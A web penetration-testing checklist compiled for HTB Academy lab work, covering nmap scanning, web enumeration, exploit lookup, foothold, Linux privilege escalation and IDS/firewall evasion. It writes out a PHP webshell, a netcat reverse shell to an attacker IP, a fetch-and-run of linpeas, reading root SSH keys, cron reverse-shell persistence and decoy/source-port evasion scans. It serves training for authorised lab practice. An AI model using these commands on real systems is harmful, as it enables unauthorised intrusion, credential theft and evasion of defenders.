Web Penetration Testing Methodology Checklist v2.0

Updated with Nmap Module — HTB Academy

Compiled by Calm Ay (Rasaq Ayomide)

v2.0 updates: Added comprehensive Nmap scanning techniques, IDS/IPS evasion methods, UDP scanning, banner grabbing, NSE scripting, and OS fingerprinting via TTL. Based on HTB Academy Getting Started + Nmap modules.

PHASE 1 — RECONNAISSANCE & HOST DISCOVERY

NEW in v2.0

1.1 Host Discovery

```
# Discover live hosts in subnet
sudo nmap 10.129.2.0/24 -sn -oA tnet

# Scan from IP list
sudo nmap -sn -oA tnet -iL hosts.lst

# Force ICMP echo (bypass ARP)
sudo nmap <ip> -sn -PE --disable-arp-ping --packet-trace
```

- ■ Scan full /24 subnet to identify live hosts
- ■ Use -sn to disable port scan during host discovery
- ■ Use --disable-arp-ping if on different subnet
- ■ Check TTL in ICMP reply to guess OS: 64=Linux, 128=Windows, 255=Cisco
- ■ Add -Pn if host appears down (ICMP blocked by firewall)
- ■ Save all results with -oA from the start

1.2 Network Scanning Strategy

```
# Step 1 - Quick scan top 1000 ports
sudo nmap -sV --open -oA initial_scan <target-ip>

# Step 2 - Full scan all 65535 ports (background)
sudo nmap -p- --min-rate 5000 -T4 -Pn <target-ip> -oA full_scan &

# Step 3 - Targeted script scan on open ports
sudo nmap -sC -p <ports> -oA script_scan <target-ip>
```

- ■ Always run full -p- scan — services hide on non-standard ports
- ■ Run quick scan first, full scan in background simultaneously
- ■ Save all formats with -oA for documentation

- Convert XML to HTML: xsltproc target.xml -o target.html
- Press [Space Bar] during scan to check progress
- Use --stats-every=5s for periodic progress updates

PHASE 2 — PORT SCANNING & SERVICE IDENTIFICATION

2.1 TCP Scanning Techniques

```
# SYN scan (stealth, needs root)
sudo nmap <target> -sS -p-

# Connect scan (full handshake, more accurate)
sudo nmap <target> -sT -p 443

# Version detection
sudo nmap <target> -sV -p <ports>

# Aggressive (sV+OS+traceroute+sC)
sudo nmap <target> -A -p 80
```

- SYN scan (-sS) for stealth — doesn't complete handshake
- Connect scan (-sT) for accuracy — logs on target but clean
- Check port states: open/closed/filtered/unfiltered/open|filtered
- Filtered = firewall dropping packets (slow, no response)
- RST response = closed port (fast response)
- ICMP type=3/code=3 = port unreachable (rejected by firewall)

2.2 UDP Scanning

```
# UDP fast scan top 100
sudo nmap <target> -F -sU

# UDP specific port with reason
sudo nmap <target> -sU -p 53 --reason -Pn -n --disable-arp-ping
```

- Always run UDP scan — admins often forget to filter UDP ports
- UDP scan is slow — run against top ports only (-F) first
- Key UDP ports: 53 (DNS), 161 (SNMP), 137 (NetBIOS), 5353 (mDNS)
- open|filtered = no response (may be open but no reply configured)
- ICMP type=3/code=3 = truly closed UDP port

2.3 Banner Grabbing

```
# Netcat banner grab
nc -nv <target> <port>

# Nmap with packet trace (shows raw banner)
sudo nmap <target> -p <port> -sV -Pn -n --disable-arp-ping --packet-trace
```

- Banner grab with nc on every interesting/unknown port
- Nmap doesn't always show full banner — nc reveals more

- SSH banner reveals OS distro: 'OpenSSH 7.6p1 Ubuntu-4ubuntu0.7'
- SMTP banner reveals hostname and OS
- FTP banner reveals software version
- Unknown service on non-standard port? Always nc it

PHASE 3 — WEB ENUMERATION

3.1 Technology Fingerprinting

```
whatweb http://<target>
curl -s http://<target> | grep -i 'generator\|powered\|version'
nmap -p 80 -A <target>
```

- Run whatweb for quick tech fingerprinting
- curl homepage and inspect source for comments/hints
- Check page title for CMS/application name
- Look for /readme.html, /changelog.txt, /robots.txt, /sitemap.xml
- Check HTTP response headers (Server, X-Powered-By)
- Add discovered domain to /etc/hosts for virtual hosting

3.2 Directory & File Brute Forcing

```
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt
# NSE equivalent:
sudo nmap <target> -p 80 --script http-enum
```

- Run gobuster/ffuf against web root
- Use NSE http-enum script as quick alternative
- Follow up EVERY path http-enum finds — check them all
- robots.txt often contains sensitive paths or flags
- Check /admin/, /login/, /dashboard/, /wp-admin/
- Check directory listing on /data/, /backups/, /uploads/

3.3 NSE Vulnerability Scanning

```
# Vuln category
sudo nmap <target> -p 80 -sV --script vuln

# Specific scripts
sudo nmap <target> -p 25 --script banner,smtp-commands

# HTTP headers
sudo nmap <target> -p 80 --script http-headers
```

- Run vuln script category against web ports
- Check vulners output for CVEs matching service version
- Use http-enum to find hidden directories/files
- Use banner script to grab service banners via NSE

- Use smtp-commands for SMTP user enumeration

PHASE 4 — EXPLOIT DISCOVERY

```
searchsploit <application> <version>
searchsploit -m <edb-id>
# DNS version:
dig version.bind CHAOS TXT @<target>
```

- searchsploit every identified service/application version
- Search CVEs on Google: ' exploit CVE'
- DNS servers: query version.bind CHAOS TXT for DNS version
- Check Metasploit: msfconsole → search
- Prioritize: RCE > File Upload > SQLi > Path Traversal > XSS
- Read exploit code fully before running

PHASE 5 — GAINING FOOTHOLD

```
# PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Listener
nc -lvnp 9443

# Bash reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> 9443 >/tmp/f

# TTY upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

- Check tun0 IP before creating payload: ip a | grep tun0
- Start netcat listener BEFORE triggering shell
- Check file upload — try extension bypass (shell.php%, .php5, .phtml)
- CMS theme/plugin editors = direct PHP code execution
- Extract CSRF nonce if needed for form submission
- Upgrade to full TTY immediately after catching shell
- Run whoami, id, hostname to confirm context
- Grab user.txt: cat /home/*/user.txt

PHASE 6 — PRIVILEGE ESCALATION

```
sudo -l                          # ALWAYS first
find / -perm -4000 2>/dev/null   # SUID binaries
cat /etc/crontab 2>/dev/null     # Cron jobs
cat /root/.ssh/id_rsa            # SSH keys
wget http://<ip>:8080/linpeas.sh && chmod +x && ./linpeas.sh
```

- sudo -l — ALWAYS first check
- GTFOBins for any NOPASSWD binaries

- SUID binaries — find / -perm -4000 2>/dev/null
- Writable cron scripts — append reverse shell
- World-readable SSH keys — cat /root/.ssh/id_rsa
- chmod 600 id_rsa before using with SSH
- Exposed creds in config files — grep -r password /var/www/
- Run LinPEAS for comprehensive automated check
- Grab root.txt: cat /root/root.txt

PHASE 7 — IDS/IPS & FIREWALL EVASION

NEW in v2.0

7.1 Evasion Flags

```
# Full evasion scan
sudo nmap <target> -p- -Pn -n --disable-arp-ping \
  --source-port 53 -T2 --data-length 25 -D RND:5

# Connect with source port 53 (bypass firewall)
sudo ncat --source-port 53 -s <tun0-ip> <target> <port>
```

- -T0/-T1/-T2 — slow timing reduces IDS triggers
- -Pn — skip ICMP host discovery
- --disable-arp-ping — prevents ARP broadcast alerts
- -n — no DNS resolution, reduces traffic
- --source-port 53 — disguise as DNS (usually whitelisted)
- -D RND:5 — add decoy IPs to confuse attribution
- --data-length 25 — append random data, breaks signatures
- -f — fragment packets, evades some DPI
- Check status page before/after: curl http:///status.php

7.2 Source Port 53 Technique

When firewall only allows DNS traffic through, use source port 53 to bypass:

```
# Nmap with source port 53
sudo nmap <target> -p- --source-port 53 -Pn -n

# If local port 53 is in use, bind to tun0 IP
sudo ncat --source-port 53 -s <tun0-ip> <target> <port>

# Python alternative if ncat fails
python3 -c "
import socket
s = socket.socket()
s.bind(('<tun0-ip>', 53))
s.connect(('<target>', <port>))
print(s.recv(1024).decode())
"
```

■ Check if port 53 is in use: sudo ss -tulpn | grep :53

■ If dnsmasq is running, bind ncat to tun0 IP with -s flag

■ Python socket approach bypasses ncat binding issues

■ Port 443 also often whitelisted — try as alternative source port

7.3 OS Fingerprinting via TTL

TTL=64: Linux / Unix / macOS

TTL=128: Windows

TTL=255: Cisco / Solaris / Network devices

TTL=254: Cisco IOS

Note: TTL decreases by 1 per hop. TTL=127 is still Windows (1 hop away). Always use SSH/FTP banner for more reliable OS identification.

PHASE 8 — DOCUMENTATION

■ Save ALL nmap scans with -oA from the start

■ Convert XML to HTML: xsltproc target.xml -o target.html

■ Note exact timestamps of all exploitation steps

■ Screenshot/save all flags as evidence

■ Document every command run and its full output

■ Write full attack chain writeup for portfolio/GitHub

QUICK TOOLS REFERENCE

Nmap: nmap -sV --open / nmap -p- --min-rate 5000 -Pn / nmap --source-port 53

Netcat (nc): nc -nv (banner grab) / nc -lvnp (listener)

Ncat: ncat --source-port 53 -s

dig: dig version.bind CHAOS TXT @ (DNS version)

WPScan: wpscan --url --enumerate u,p

Gobuster: gobuster dir -u -w

searchsploit: searchsploit / searchsploit -m

xsltproc: xsltproc target.xml -o target.html (Nmap XML to HTML)

LinPEAS: wget /linpeas.sh && chmod +x && ./linpeas.sh

GTFOBins: https://gtfobins.github.io — sudo/SUID exploitation

HackTricks: https://book.hacktricks.xyz — privesc checklists

PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings